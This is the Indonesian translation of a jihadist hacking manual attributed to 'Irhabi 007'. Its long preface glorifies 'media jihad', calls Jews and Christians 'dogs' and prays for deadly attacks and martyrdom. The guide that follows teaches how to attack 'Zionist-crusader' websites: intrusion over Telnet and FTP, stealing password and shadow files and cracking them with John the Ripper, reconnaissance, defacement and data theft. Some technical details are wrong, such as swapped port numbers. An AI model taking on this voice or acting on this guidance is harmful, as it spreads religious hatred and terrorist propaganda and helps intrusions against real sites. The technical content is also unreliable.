# PANDUAN MENJADI HACKER MUSLIM

## BAGAIMANA MENYERANG SITUS-SITUS YAHUDI-SALIBIS ?

Oleh:
**IRHABI 007**

Penerjemah:
**Andi Ar-Rifki**

Pubhliser Indonesia:
**Tim Al-Qaedoon Group**

## DUSTUR ILAHI:

*Aku berlindung kepada Alloh dari syetan yang terkutuk*
*Dengan nama Alloh Yang Mahapengasih lagi Mahapenyayang*
*"Tangkap…kepung…dan intailah mereka di mana saja…"* (QS. At-Taubah: 5)

## PERSEMBAHAN:

Kepada kuda-kuda jihad media…

Kepada intan-intan forum *mailing list* dan yang tampil membanggakan di situs-situs berita…

Kepada mereka yang telah memberi jasa kepada para mujahidin sehingga mujahidin di jalan Alloh bisa mengambil manfaat darinya, dan kepada para pembela-pembela jihad…

Kepada mereka yang masih terus –dengan anugerah Alloh— memberikan andil strategis sebagai stok logistik dalam jihad media…

Kepada orang-orang bertakwa yang tidak populer tapi bersih jiwanya, menurut anggapan kami dan hanya Alloh lah yang mengetahui perhitungan mereka sebenarnya…

Kepada dua *akhi* tercinta; **irhabi_007** dan **muhibbus_syaikhoin**

Dan siapa saja yang meniti jalan mereka dalam ilmu dan amal, dari kalangan para tentara jihad yang tidak terkenal di tengah manusia…

Kami hadiahkan karya ini, semoga Alloh menjadikannya sebagai penyejuk mata para mujahidin yang bertugas di bidang media, serta menjadikannya sebagai bencana bagi media orang-orang salibis kafir dan kehinaan bagi "anjing-anjing bayaran" mereka dan antek-antek mereka yang murtad…

*BISMILLAHIRROHMANIRROHIM*

Segala puji bagi Alloh, yang memuliakan Islam dan pertolongan-Nya. Yang menghinakan kesyirikan dengan kekuatan-Nya. Yang mengatur semua urusan dengan perintah-Nya. Yang mengulur batas waktu bagi orang-orang kafir dengan makar-Nya. Yang mempergilirkan hari-hari (kemenangan) antar umat manusia dengan keadilan-Nya, dan menjadikan hasil akhir sebagai milik orang-orang bertakwa dengan keutamaan-Nya.

Sholawat dan salam terhatur selalu kepada Nabi Muhammad, manusia yang Alloh tinggikan menara Islam dengan pedangnya, dan kepada para shahabatnya serta para pengikut mereka dengan kebaikan hingga hari kemudian.

*Wa Ba'du…*

Rekan-rekan se-Islam di mana saja *Antum* berada: Assalamualaikum wa rohmatullohi Ta'ala wa barokatuh.

Kita memuji Alloh Ta'ala yang telah memberi kemudahan kepada *ikhwan-ikhwan Antum* untuk menyelesaikan karya berharga ini, yang disusun oleh *Akhuna* **irhabi 007**, semoga Alloh senantiasa menjaga beliau.

Sekedar dengan informasi yang beliau tampilkan, cukup untuk membuat jengkel "anjing-anjing" kafir, yaitu kaum yahudi dan para penyembah salib. Penulisan karya ini telah disiapkan kira-kira sejak satu tahun yang lampau. Dan sesaat setelah karya ini dipublikasikan, segera saja aparat dari negara-negara barat dan media informasi menyesatkan yang mereka miliki merasa sangat marah. Mereka merajut jaring-jaring mereka layaknya jaring laba-laba, demi menghalangi penyebaran karya ini. Akhirnya keinginan mereka itu tercapai, meski hanya sesaat.

Tidak ada seorang pun yang meragukan betapa sulitnya bertugas di bidang jihad media, di mana tidak akan mungkin ada yang berani melakukannya selain orang yang telah menjadikan ikhlas dan ketulusan sebagai prinsipnya, serta yakin dan tawakkal kepada Alloh setelah menempuh sebab-sebabnya sebagai pembimbing. Di tengah berbagai kesulitan ini, media jihad terus berjalan melewati berbagai kesulitan, sejak dari perburuan oleh aparat, pengejaran, dan bahkan penangkapan, yang telah banyak memakan korban banyak sekali dari kalangan para pembela jihad yang berjihad melalui media jaringan informasi.

Tetapi semua kesusahan itu tidaklah seberapa, hanya sedikit bagian dari jalan yang agung ini, jalan para nabi dan wali-wali Alloh yang terpilih, perjalanan yang melelahkan, terlihat sukar, penuh dengan onak dan duri, dan terasa pahit sekali menjalaninya.

Namun, pantaslah bagi orang yang menempuh jalan tersebut dan memenuhi syarat serta aturan-aturan dalam perjalan itu, untuk mendapatkan keridhoan Alloh Ta'ala di dua negeri (dunia dan akhirat), yaitu berupa pahala-pahala dan karomah-karomah di dunia, diakhiri dengan taman-taman di surga dan bersanding bersama sang Nabi Al-Adnânî – 'Alaihis Sholatu wa `s-Salam— di akhirat kelak. Bagaimana tidak, sementara Alloh yang Mahaagung telah berfirman:

أَمْ حَسِبْتُمْ أَن تَدْخُلُوا۟ ٱلْجَنَّةَ وَلَمَّا يَعْلَمِ ٱللَّهُ ٱلَّذِينَ جَٰهَدُوا۟ مِنكُمْ وَيَعْلَمَ ٱلصَّٰبِرِينَ ﴿١٤٢﴾

*"Apakah kamu mengira bahwa kamu akan masuk surga, padahal belum nyata bagi Alloh orang-orang yang berjihad di antaramu dan belum nyata orang-orang yang sabar."* (QS. Ali 'Imron: 142)

Juga firman Alloh *'Azza Min Qô'il*:

أَمْ حَسِبْتُمْ أَن تُتْرَكُوا۟ وَلَمَّا يَعْلَمِ ٱللَّهُ ٱلَّذِينَ جَٰهَدُوا۟ مِنكُمْ وَلَمْ يَتَّخِذُوا۟ مِن دُونِ ٱللَّهِ وَلَا رَسُولِهِۦ وَلَا ٱلْمُؤْمِنِينَ وَلِيجَةً ۚ وَٱللَّهُ خَبِيرٌۢ بِمَا تَعْمَلُونَ ﴿١٦﴾

*"Apakah kamu mengira bahwa kamu akan dibiarkan, sedang Alloh belum mengetahui (dalam kenyataan) orang-orang yang berjihad di antara kamu dan tidak mengambil menjadi teman yang setia selain Alloh, Rosul-Nya dan orang-orang yang beriman. Dan Alloh Maha Mengetahui apa yang kamu kerjakan."* (QS. At-Taubah: 16)

Dan firman Alloh *Tabâroka Wa Ta'âla*:

أَمْ حَسِبْتُمْ أَن تَدْخُلُوا۟ ٱلْجَنَّةَ وَلَمَّا يَأْتِكُم مَّثَلُ ٱلَّذِينَ خَلَوْا۟ مِن قَبْلِكُم ۖ مَّسَّتْهُمُ ٱلْبَأْسَآءُ وَٱلضَّرَّآءُ وَزُلْزِلُوا۟ حَتَّىٰ يَقُولَ ٱلرَّسُولُ وَٱلَّذِينَ ءَامَنُوا۟ مَعَهُۥ مَتَىٰ نَصْرُ ٱللَّهِ ۗ أَلَآ إِنَّ نَصْرَ ٱللَّهِ قَرِيبٌ ﴿٢١٤﴾

*"Apakah kamu mengira bahwa kamu akan masuk syurga, padahal belum datang kepadamu (cobaan) sebagaimana halnya orang-orang terdahulu sebelum kamu? mereka ditimpa oleh malapetaka dan kesengsaraan, serta digoncangkan (dengan bermacam-macam cobaan) sehingga berkatalah Rosul dan orang-orang yang beriman bersamanya: "Bilakah datangnya pertolongan Alloh?" Ingatlah, sesungguhnya pertolongan Alloh itu amat dekat."* (QS. Al-Baqoroh: 214)

Dan sang pemimpin kita, Nabi kita, Muhammad SAW, di dalam hadits shohih mengatakan,
*"Ingat…barang dagangan Alloh itu mahal, barang dagangan Alloh itu mahal, barang dagangan Alloh itu mahal. Ketahuilah, barang dagangan Alloh adalah surga."*

Sudah menjadi hal yang layak dalam menempuh jalan ini, banyak rintangan dan penghalang. Ini bukan urusan remeh! Di antara yang paling menyakitkan bagi para pembela jihad adalah banyaknya *irjâf* (penggembosan) dan aksi yang membuat orang ragu, yang dilancarkan oleh mereka-mereka yang menjual hatinya kepada syetan, sehingga mereka menjadi para pendengki serta melemahkan semangat dan membuat bimbang hati para mujahidin. Tetapi itu tidak akan mempengaruhi orang yang hatinya dipenuhi cahaya dari dua wahyu (Al-Quran dan Sunnah) dan telah merasakan manisnya iman.

Namun, yang sangat menjadi aib adalah ketika orang melemparkan *penggembosan-peggembosan* ini, lalu ia melakukannya dengan begitu yakin. Ia melontarkan kata-kata yang barangkali tidak terlalu ia pedulikan isinya, padahal menimbulkan efek bermacam-macam. Di antaranya: kata-kata itu bisa menjerumuskannya ke jurang neraka Jahannam sejauh tujuh puluh parit, sebagaimana tercantum dalam sebuah hadits shohih. Ini di akhirat. Adapun di dunia, komentar-komentar melemahkan itu hanya akan memberi manfaat kepada kaum salibis dan orang-orang yang berada di barisan mereka, yaitu agen-agen intelejent yang kotor di negeri kita. Efek lainnya, menyebabkan banyak sekali saudara-saudara kita yang direpotkan oleh sebab komentar melemahkan dan kerancuan-kerancuan yang tidak berdasar itu. Padahal, seharusnya, pemandu jalan tidak akan *mengkibuli* keluarganya sendiri.

Bentuk pelemahan semangat paling utama dan berbahaya adalah banyaknya isu-isu dusta yang tersebar seperti api dalam sekam kering, seperti yang sering terlihat di forum-forum diskusi internet (*muntadayat*). Kami tidak akan membahasnya panjang lebar, lebih baik kami menyinggungnya secara umum. Dan orang yang merdeka, isyarat sudah cukup baginya.

Kami akhiri penjelasan di atas, dengan menyampaikan bahwa pekerjaan menyusun dan menulis "kamus mini" yang cukup menarik ini, disiapkan oleh saudara kita, **irhabi 007** – hafizahullôh— semoga Alloh senantiasa menjadikan beliau sebagai kebanggaan dan "amunisi" bagi Umat Islam secara umum, dan pasukan jihad di garis depan secara khusus. Semoga Alloh menjadikan beliau sebagai "penusuk" mata orang-orang kafir, dan duri di leher serta hati mereka. Semoga Alloh senantiasa memberikan kesempatan kepadanya untuk terus merepotkan orang-orang kafir dan menghinakan "anjing-anjing" mereka dari kalangan orang-orang murtad, serta menghinakan antek-antek mereka yang munafik, semuanya. Allohumma Amiin…

Sebenarnya, yang berpartisipasi dalam penyelesaian buku ini lebih dari satu orang. Tetapi kami semua menggabungkannya dari apa yang telah ditulis, disarikan, dan disusun oleh *akhi* kita, **irhabi 007** –hafidzahulloh—. Kami memperbarui beberapa daftar link, mengumpulkan program-program yang dibutuhkan dan tercantum dalam "kamus mini" ini, *Antum* bisa melihatnya di daftar link nanti.

Kami juga menyempurnakan ejaan bahasanya. Karena penyusunan ini meliputi penyaringan dan penyusunan dari beberapa dialek bahasa. Akhirnya kami berhasil menyatukan semua dialek itu ke dalam bahasa arab yang fasih.

Selanjutnya, kami menyatakan lepas tanggung jawab, kami menyatakan lepas tanggung jawab kepada Alloh terhadap siapa saja yang di dalam hatinya terbetik niat untuk menggunakan tulisan ini dalam rangka menimpakan *madhorot* kepada Islam, kaum muslimin, jihad dan para mujahidin. Maka kami memohon kepada Alloh agar membuntungkan tangan, menulikan pendengaran, serta membutakan mata dan hati siapa saja yang ada niatan untuk mencelakai kaum muslimin dengan karya ini.

Semoga Alloh senantiasa memelihara *akhi* kita yang mulia, **irhabi 007**, di dalam kebaikan dan afiat, mengilhamkan kelurusan kepadanya, mengilhamkan kemenangan dan jihad fi sabilillah yang sempurna kepadanya. Demikian juga dengan ikhwan-ikhwan kita, para mujahidin yang berjihad di bidang media, para mujahidin yang berada di lapangan, serta para pengikut mereka yang memiliki niat ikhlas, yang batinnya tidak menyelesihi lahirnya. Allohumma Amin…

Oleh karena itu, *akhi karim*, mulailah mempraktekkan setahap demi setahap, dengan memohon pertolongan kepada Alloh dan bertawakkal kepada-Nya, cukuplah Alloh bagi kita dan Dia adalah sebaik-baik pelindung.

Dan kami tegaskan kembali, kami berlepas diri di hadapan Alloh SWT, dari siapa saja dalam dirinya terbetik niat untuk mencelakai sesama muslim dengan karya sederhana ini. Sebab, pekerjaan kami ini adalah satu bagian dari jihad yang dilakukan umat melawan musuh-musuhnya. Dan, medan pertempuran yang paling memerlukan kerja keras, bantuan, keteguhan dan adu kesabaran adalah, medan pertempuran di media informasi. Atas dasar itulah kami mempublikasikan karya ini dan semoga Alloh menerimanya.

Ya Alloh, tepatkan tembakan para mujahidin, teguhkan pijakan kaki mereka dan satukan hati mereka.

Ya Alloh, teman-teman kami yang tertawan dan orang-orang merdeka kami yang dipenjara di penjara salibis thoghut, siapa yang akan menolong mereka, selain kasih sayang-Mu dan pintu kemudahan dari-Mu ya Alloh, wahai Dzat yang paling penyayang dari semua penyayang, jadilah penolong bagi mereka semua.

Ya Alloh, kami juga memohon kepadamu kejujuran dan keikhlasan dalam kata-kata, perbuatan, dan keyakinan.

Ya Alloh, kami mohon kepada-Mu umur panjang dan amal baik, dan jihad di jalan-Mu, serta bisa memberi kerugian besar dan serangan mematikan kepada musuh-musuh-Mu, musuh-musuh Rosul-Mu dan musuh-musuh orang beriman. Setelah semua itu, kami memohon kepada-Mu kesyahidan yang paling baik di jalan-Mu, dalam keadaan maju dan tidak mundur ke belakang, untuk menduduki tingkatan tertinggi dan bersanding bersama para nabi, orang-orang *shiddîqîn*, para syuhada dan orang-orang sholeh. Sungguh, mereka adalah sebaik-baik teman. Ya Alloh, kabulkanlah… Allohumma Amin…

Semoga Alloh senantiasa memberkahi *Antum* semua, semoga *Antum* selalu menjadi kebanggaan dalam setiap kemuliaan, dan "amunisi" dalam setiap pertempuran…

Dari rekan-rekan yang mulia, mereka menolak namanya dicantumkan, sebab cukuplah sebagai kebanggaan ketika Alloh mengenali mereka. Semoga Alloh membalas jasa yang mereka berikan kepada umat kita yang tercinta ini dengan balasan terbaik…

Saudara *Antum* yang fakir, yang paling yunior dan paling bodoh:

**As-Saif Al-Atsari**

Semoga Alloh selalu menolongnya dan menolong teman-temannya dan kaum muslimin

**BISMILLÂHIRROHMÂNIRROHÎM**

Robbi…mudahkanlah, ya Kariim…

Tinggalkan *clotehan*, mulailah bekerja…

## PANDUAN MENYERANG SITUS-SITUS ZIONIS-SALIBIS

Akhi karim...

*Assalamualaikum wa rohmatulloh wa barokatuh…*

Pertama-tama, *Antum* harus mengerti beberapa hal, di antaranya:

*"Jangan pernah kau sangka, kemuliaan itu sebutir kurma yang kau telan...*
*Engkau tidak akan pernah menggapai kemuliaan sampai kau telan pahitnya kesabaran..."*

Artinya, *Antum* tidak akan bisa jadi hacker sejati dalam sehari semalam.

Juga, hacker sejati bukanlah mereka yang main *pake* program *bikinan* orang. Hacker sejati adalah yang bisa memunculkan berbagai penemuan baru.

Sebab, keberhasilan yang berhasil dicapai seorang hacker, siapa pun orangnya, tetap saja keberhasilan itu dinisbatkan kepada si penemu program.

Jadi bisa saja apa buah karya hacker lain menjadi terkenal manakala program yang ia rancang sampai ke tangan *Antum*. Padahal, ini belum berbicara kemungkinan si hacker pembuat program yang *Antum* pakai menyisipkan celah-celah yang memungkinkan dia meng-hack komputer *Antum* ketika *Antum* menggunakan program tersebut.

## ISTILAH-ISTILAH DASAR:

1. TEL-NET

   Ini adalah program berukuran kecil yang ada di sistem operasi windows. Dengan menguasai program ini, kita bisa melakukan koneksi dengan server atau operator dan melakukan aksi apa pun sesuai dengan tingkat penguasaan. Biasanya, hacker memakai Tel-net untuk mengetahui cara mengaktifkan sebuah situs, berikut server yang digunakan, kemudian melakukan koneksi dengan port tertentu – khususnya port FTP— untuk bisa menyusup ke situs yang akan diserang secara sembunyi-sembunyi, sehingga bisa membaca file-file situs tersebut dan mencuri file password maupun yang lain dari *explorer*nya.

   Untuk mengaktifkan tel-net, silahkan klik:
   **START → RUN →Telnet**

Setelah itu akan muncul tampilan Tel-net. Ada satu program yang mirip dengan Telnet, namanya program SSH, ia memiliki ciri khas dalam masalah *coding*. *Cuman*, data-data yang akan ditransfer mesti menggunakan *coding*. Wallohu A'lam.

2. PROGRAM SCANNER
   Ini adalah salah satu program yang fungsi utamanya men-*scan* situs dan menyingkap celah-celahnya (atau diistilahkan: *bugs*) jika ada. Cara kerja program ini terhitung cepat. Di samping itu, program ini punya *base* (landasan) yang luas dan besar. Program ini juga berisi beberapa daftar *bugs* dan *eksploit* (salah satu jenis penyerangan *bugs* dengan cara khusus) yang biasanya dipakai pada suatu situs untuk mengetahui servernya dapat diserang pada celah tertentu atau tidak.
   Di antara program yang memiliki perangkat ini adalah Shadow Security Scanner, Stealth, dan Omran Fast.

3. EKSPLOITS
   Adalah program penembus yang dijalankan melalui windows eksplorer. Program ini memakai alamat URL. Eksploit mampu menampilkan file-file sebuah situs, bahkan sebagian ada yang bisa masuk dan berselancar di dalam server. Ada juga Eksploit yang mampu menyerang port tertentu di dalam server dengan melakukan "crack", yang disebut program Over Flow Eksploits Buffer.
   Ada bermacam-macam Eksploits, di antaranya adalah:
   CGI Exploits
   CGI Bugs
   Unicode's Exploits
   Buffer over Flow Exploits
   PHP Exploits
   DOS Exploits

   Semua program di atas juga berfungsi melindungi server dari serangan jika terdapat *bugs*, walaupun server tersebut tidak dilengkapi dengan program Fire Wall sama sekali.

   Ada juga beberapa ekspoits yang ditulis dengan bahasa C, berekstensikan: ***.c
   Exploits jenis ini memerlukan *compiler* atau program penerjemah yang akan menerjemahkannya menjadi eksploits yang dijalankan dengan cara biasa pada *explorer*.
   Untuk merubah eksploits-eksploits berbahasa C menjadi ekploits yang bisa dipakai secara biasa, diperlukan sistem operasi Linux atau Unix, atau program *compiler* lain yang bisa dipakai dalam sistem operasi windows.

   Program *compiler* paling terkenal yang berfungsi sebagai penerjemah dan pengubah, adalah program *Borland Compiler C++*, program ini biasa digunakan untuk sistem operasi windows.

4. FIRE WALL (Dinding Api)
   Ini adalah program yang dipakai untuk melindungi server dari "tamu-tamu" tak diundang yang memasuki file-filenya. Fire Wall bisa dikatakan sebagai pelindung *paten* dari server. Hanya, perlu saya ingatkan, bahwa program-program Fire Wall yang dipakai untuk memprotek suatu situs, berbeda dengan sistem proteksi yang dipakai untuk melindungi PC.

5. SHADOWED PASSWORD FILE (File Pass Word yang Terselubung)

Ini adalah file yang berisi password dengan bentuk *, atau x. Untuk file password biasa, sintaks-[1]nya adalah sebagai berikut:

**Username: passwd: UID: GID: full name: directory: shell**

Pada sintaks di atas, *Antum* bisa menemukan kode password setelah Username dan titik dua.

Adapun pada file yang telah di*shadow*, bentuk sintaksnya berubah menjadi:

**Username: x: 503: 100: Full Name: /home/username: /bin/sh**

Di sini, jelas bahwa posisi kode password telah dirubah bentuknya menjadi "x".

Setelah file password di *shadow*, *Antum* bisa menjumpai file password lain yang berisi kode password. File inilah yang disebut *Shadow File*, *Antum* bisa temukan pada directory berikut:

**/etc/shadow**

Pada file, bentuk sintaksnya adalah:

**Username: passwd: last: may: must: warn: expire: disable: reserved**

Kali ini, *Antum* bisa meng-*copy* kode password dari *sintaks* di atas, lalu meletakkannya pada file yang sudah ter-*shadow*, sehingga file yang terselubung itu berubah seperti file password biasa.

6. ANONYMOUS CONDITION

   Kondisi tersamar dan tidak dikenal ketika memasuki sebuah situs yang di-*hack*.

   Ada program yang hampir mirip dengan FTP, yang memiliki kelebihan bisa *Antum* gunakan memasuki server dengan kondisi samar, setelah itu mencuri file-file yang ada di dalamnya (jika memang server itu mengizinkan).

7. CELAH-CELAH YANG TIDAK TERPROTEKSI (VULNERABILITIES)

   Yaitu celah-celah atau titik-titik lemah (*bugs*) yang tidak terjaga, atau memungkinkan untuk diserang, pada sebuah server. Ini merupakan bahaya keamanan bagi server, karena bisa digunakan para *hacker* untuk menyerangnya, meng-*hack*nya, atau bahkan menghancurkannya.

   Vulnerable artinya adalah celah, atau lebih tepatnya titik lemah, atau posisi yang tidak diamankan dengan baik.

   Kata-kata ini banyak sekali tercantum pada daftar e-mail yang masuk pada situs-situs yang isinya terfokus pada masalah security dan keamanan jaringan. Contohnya pada daftar e-mail yang tercantum pada situs Security Focus, alamatnya adalah: **http://www.securityfocus.com**

   Atau pada *Booktrack*-nya, yaitu: **http://www.securityfocus.com/archive/1**

   Dan lain-lain.

8. PASSWORD FILE (File Password)

   Adalah file yang berisi kode password pada *Root* dan password-password *user* yang dibolehkan memasuki server. Password situs tentu saja juga ada dalam file ini.

   Yang perlu dicatat di sini, semua password di dalam file ini masih berbentuk sandi.

9. *Root* (Akar)

   Maksudnya adalah pengguna paling utama dalam sebuah aturan situs, dialah yang bisa berbuat apa saja terhadap semua file yang ada dalam situs dan server, sejak dari men-*delete*, menambah, mau pun memperbaiki file-file yang ada (atau dalam sistem operasi windows setara dengan *administrator*)

[1] Sintaks adalah aturan penulisan dalam suatu bahasa pemograman atau *script*, --ed.

Nah, biasanya, password *Root* adalah password situs juga, jika situs itu dioperasikan dengan menggunakan sistem operasi *Lynux, Unix, Sholary, Free BSD,* atau yang sejenis.

10. SERVER
    Server adalah perangkat operasi sebuah situs, semua file suatu situs terletak di dalamnya. Jadi, server adalah perangkat komputer biasa, sama seperti perangkat-perangkat lain, hanya ia memiliki banyak kelebihan seperti besarnya memori dan kecepatan akses yang luar biasa. Server selalu tersambung dengan internet selama 24 jam. Koneksi terhadap server inilah yang menjadikan situs bisa diakses dan digunakan dalam jaringan internet selama 24 jam. Satu server bisa menampung lebih dari satu situs, tergantung pada jenis server dan perusahaan yang memilikinya.
    Serangan *hacker*, jelas ditujukan untuk menyerang server yang banyak memiliki situs; sehingga dengan begitu akan mudah untuk meng-*hack* semua situs yang ada di bawah *ayahan*-nya. Selanjutnya, terserah, bisa menghancurkan situs-situs tersebut, mempermainkan file-filenya, memperburuk tampilannya (deface), mencuri data-data, merusaknya, atau bahkan men-*delete* nya sama sekali dari sebuah situs. Dan alhamdulillah, inilah yang sering menimpa situs-situs yahudi, *jazakumulloh khoiron ya…!* wahai para mujahidin.

11. BUFFER OVER FLOW
    Ini adalah salah satu dari sekian jenis Eksploits, yang digunakan untuk menyerang salah satu titik pada server (port server) sehingga titik tersebut penuh. Misalnya menyerang port FTP, atau yang lain. Tujuannya untuk memperlemah koneksi server, atau memutusnya sama sekali dengan port-port yang ada. Atau untuk menghilangkan proteksi yang ada, sehingga server bisa dimanfaatkan sewaktu-waktu –tentunya setelah terlebih dahulu meng-*crack* server tersebut.
    Ketika nanti kembali terkoneksi dengan server itu, dengan mudah server itu bisa digunakan dan mengambil data-data di sana tanpa ada satu penghalang pun (sebab setelah meng-*crack* proteksi suatu server, memasukinya menjadi sangat mudah tanpa ada penghalang berarti).
    Ini mirip dengan aksi pemutusan sistem operasi, sebab ini sama dengan melakukan *overload* pada salah satu titik dalam server.

12. BOX
    Banyak para *hacker* yang gemar memakai istilah *Box* ketika menyebut kata "Supercomputer", "Server", atau "PC".

13. SUPER USER
    Yaitu sistem yang akan kita serang nanti –dengan pertolongan Alloh, daya dan kekuatan-Nya—yang beranggotakan beberapa user. User yang memiliki hak total –atau hampir total—biasa disebut Super User. Super User biasanya menjad *Root*, *Admin*, atau pemimpin sistem dalam situs.

14. SHELL ACCOUNT
    Shell account adalah sebuah sistem operasi, yang dengannya *Antum* bisa mengendalikan komputer dari jarak jauh. Tetapi komputer itu harus berbasis *linux*. *Antum* bisa memasuki sistem operasi Shell Account melalui Tell Net atau SSH, yang sudah kami bahas di muka.

15. WEB SERVER

Yang paling populer ada dua:

- IIS dari Microsoft. Ini banyak sekali memiliki celah, (situs-situs pengguna web server ini yang celahnya tertutup sangat sedikit)
- APACHE. Ini berasal dari kumpulan *programmer* di seluruh dunia. Meng-*hack* nya boleh dibilang cukup sulit. Sebab apache adalah web server yang sumbernya terbuka dari mana saja dan selalu mengalami perkembangan.

16. SYSTEM

Ada banyak sekali system, di antaranya:

- SunOS
- FreeBSD
- OpenBSD
- NetBSD
- AIX
- IRIX
- Windows/NT/2000/xp
- Linux dengan berbagai versinya, seperti *Red Hat, Veduro,* dll

17. LINUX

Linux mempunyai enam direktori, yaitu:

- **Bin,** khusus untuk file-file *binary* (digital) untuk mengoperasikan system
- **Etc,** yaitu file-file berisikan semua administrasi sistem, termasuk account *Root* yang merupakan inti pengendali sistem, termasuk juga password. (Bagian ini sangat penting sekali untuk dipelajari dan dibuka isinya ketika kita akan melakukan aksi *hacking*, biidznillah…)
- **Dev,** berisi file-file program
- **Lib,** berisi kumpulan data tentang sambungan dinamik yang membantu sistem dalam beroperasi
- **Tmp,** yaitu file-file sementara dan tidak tetap
- **Usr,** berisi nama-nama user sekaligus password mereka yang memiliki account dalam sistem (mempelajari bagian ini juga tak kalah pentingnya)

18. PERINTAH-PERINTAH (COMMAND) DALAM "FTP"

a. "**pwd**", berfungsi untuk mengetahui isi *harddisk*.
b. "**cd**", berfungsi untuk menerobos folder atau direktori suatu sistem operasi. Contoh, ketika saya menulis: **Cd black**, berarti saya sedang menerobos masuk ke dalam bagian yang disebut "**black**."
c. "**is**", untuk mengetahui isi dari bagian utama suatu sistem operasi, bisa juga untuk mengetahui isi hardisk. Sama dengan perintah "**dir**" dalam **DOS**.
d. "**get**", berfungsi untuk men*download* file yang diinginkan. Contoh: **get black.exe,** maka maksudnya adalah men*download* file "black.exe" dari server untuk diletakkan pada komputer *Antum*, pada bagian utama yang sedang *Antum* buka sebelum mengetikkan perintah FTP (biasanya tercantum pada desktop)
e. "**put**", yang merupakan kebalikan dari "**get**". Artinya, *Antum* mengambil file milik *Antum*, lalu *Antum* letakkan pada komputer korban. Contoh: **put black.exe**.
   Di sini, file yang akan ditaruh itu harus ada di bagian utama yang sedang *Antum* akses sebelum menjalankan FTP, dan biasanya itu ada pada desktop.
f. "**close**", yang berfungsi untuk memutuskan koneksi dengan korban.

*Antum* bisa mengoperasikan FTP pada windows, caranya:
klik **START→RUN→ftp –n hostname**

19. PORT-PORT DALAM PROGRAM
    1) 7 Echo
    2) 21 Telnet
    3) 23 ftp
    4) 25 SMTP
    5) 80 http
    6) 110 pop

20. MEMPERHATIKAN PERINGATAN TERJADINYA KESALAHAN TERTENTU (ERROR)
    Yang paling populer adalah peringatan **Error 404**, peringatan ini muncul ketika kita meminta sebuah file yang tidak ada pada situs. Ketika muncul tampilan peringatan seperti ini, perhatikan di bagian bawah, tercantum beberapa data, salah satunya adalah sumber (source) dari web server. Data-data itu tidak penting dan tidak terlalu berbahaya, namun ada gunanya ketika nanti kita melakukan aksi *hacking*, bi idznillah…

21. LETAK-LETAK FILE PASSWORD BERADA
    Daftar berikut ini disesuaikan dengan sistem operasi yang digunakan,
    a. Pada SunOS 5.0:
       **etc/passwd** atau **ets/shadow**
    b. Pada linux:
       **etc/passwd** atau **ets/shadow**
    c. Pada BSD 4.3 –RENO
       **etc/master. passwd**
    d. AIX
       **etc/security/passwd**
    e. WINDOWS NT
       **script/passwd**

22. PROGRAM JHON THE RIPPER
    Salah satu program terbaik untuk memecahkan kode rahasia (password) yang didapat oleh para *hacker* dari sistem operasi **nix*** (maksudnya Linux dan Unix).
    Sistem operasi **nix*** ini –apalagi yang versi paling *anyar*—berisi sistem proteksi tambahan di samping file password, artinya file password itu ter-*shadow* (terselubung). Maka, seorang *hacker* harus terlebih dahulu mendapatkan file **shadow** untuk bisa mendapatkan file password yang terselubung itu. Setelah menemukan file itu, barulah ia bisa memecahkan passwordnya. Inilah sebenarnya yang menjadi pekerjaan utama dan menurut saya merupakan langkah paling penting, dalam menyerang sistem operasi. Sebab, ini yang akan memberikan kunci kepada *Antum*, dengan pertolongan Alloh.

## LANGKAH MELAKUKAN *HACKING*

Akhi karim… sebelum kita melanjutkan pembahasan ini secara lebih dalam, *Antum* harus catat bahwa langkah nge-*hack* yang akan kami jelaskan berikut ini hanya satu dari sekian cara yang banyak, dan bisa jadi langkah ini sudah tidak *up to date*.

Tapi yang penting, yang harus *Antum* ketahui di sini adalah, bagaimana *sih* melakukan *hack* secara umum? Bagaimana *Antum* tahu cara mencari *bugs* dari sistem-sistem, kemudian bagaimana cara memanfaatkan *bugs* tersebut. Dengan mengetahuinya, atas pertolongan Alloh akan membantu maksud mulia kita.

**Langkah pertama dalam *hacking* adalah mengumpulkan data.** Artinya, dalam suatu situs, kita harus tahu *web server*nya, sistem operasinya apa, dan program bantu apa saja yang dipakai.

Misalnya, kita sekarang menghadapi sebuah situs. Nah, kemudian, bagaimana caranya agar kita bisa mengetahui sistem operasinya, *web server* nya, program bantunya, dan semua data tentang situs tersebut.

Untuk mengetahui semua ini, bisa kita masukkan nama situs yang kita maksud pada salah satu website di bawah ini. Website-website ini akan memberikan data ringkas kepada kita tentang sistem operasi yang digunakan situs tersebut, *web server*nya, dan lain sebagainya.

Website-website itu adalah:
**http://www.netcraft.net/**

Dan

**http://www.whois.com/**

**Catatan penting:**
Jangan mengetikkan **http://** atau tanda **/** yang ada di akhir alamat URL, ketika *Antum* mengetik alamat website di atas.
*Antum* juga bisa mendapatkan data-data tentang sebuah situs dengan cara mencoba memasuki situs tersebut melalui program Tel Net.

a. **Contoh situs pengguna IIS sebagai web server**
   Kalau kita memasukkan nama sebuah situs pada website netcraft, akan muncul data-data berikut:
   **This site http://www.***.com is running**
   **Microsoft-Windows 2000 on IIS/5.0**
   Ok…dari sini, kita mendapatkan dua data penting. Pertama, situs ini menggunakan ISS 5.0 sebagai web server.
   Kedua, sistem operasi yang dipakai adalah windows 2000.
   Langkah yang harus dilakukan berikutnya adalah:
   1. Kita coba untuk mencari *bugs* yang ada pada IIS 5.0 pada situs ini. Ok, sekarang, ada satu hal lagi yang harus dikuasai, yaitu masalah *Unicode*. Dengan Unicode, sebuah situs bisa diserang melalui *explorer*-nya, hanya saja Unicode tidak berfungsi untuk selain web server ISS. Unicode adalah alamat panjang yang dituliskan di bagian belakang, setelah menulis alamat sebuah situs.
   2. Kalau tidak ketemu juga *bugs* nya, kita coba untuk mencari *bugs* dari Windows 2000.
      Ok, sementara kita anggap langkah ini pun tak membuahkan hasil. Jadi…?
   3. Lihatlah isi situs tersebut, barangkali di sana ada menu *login* sebagai pengunjung, atau menu *forum* (muntada dalam bahasa arabnya), atau yang semisal…

(Ini adalah contoh dalam memilih cara menyerang situs, yaitu dengan berdasarkan data sebuah situs kita berusaha mencari *bugs* yang bisa dimasuki untuk menyerang situs tersebut, dengan bantuan Alloh tentunya.

b. **Contoh situs pengguna Apache sebagai web server**

Kita ambil contoh situs *arank:*

**http://www.arank.com/**

Kalau situs ini kita kupas dengan situs netcraft, hasilnya adalah:

**The site http://www.arank.com/is running**
**Apache/1.3.20 (UNIX) mod_gzip/1.3.19.1a**
**mod_perl/1.26 mod_bwlimited/0.8 PHP/4.0.6**
**mod_log_bytes/0.3 FrontPage/5.0.2.2510**
**mod_ssl/2.8.4 OpenSSL/0.9.6 on Linux**

Ada tiga hal penting buat kita pada data di atas:

1. Web servernya adalah Apache 1.3.20
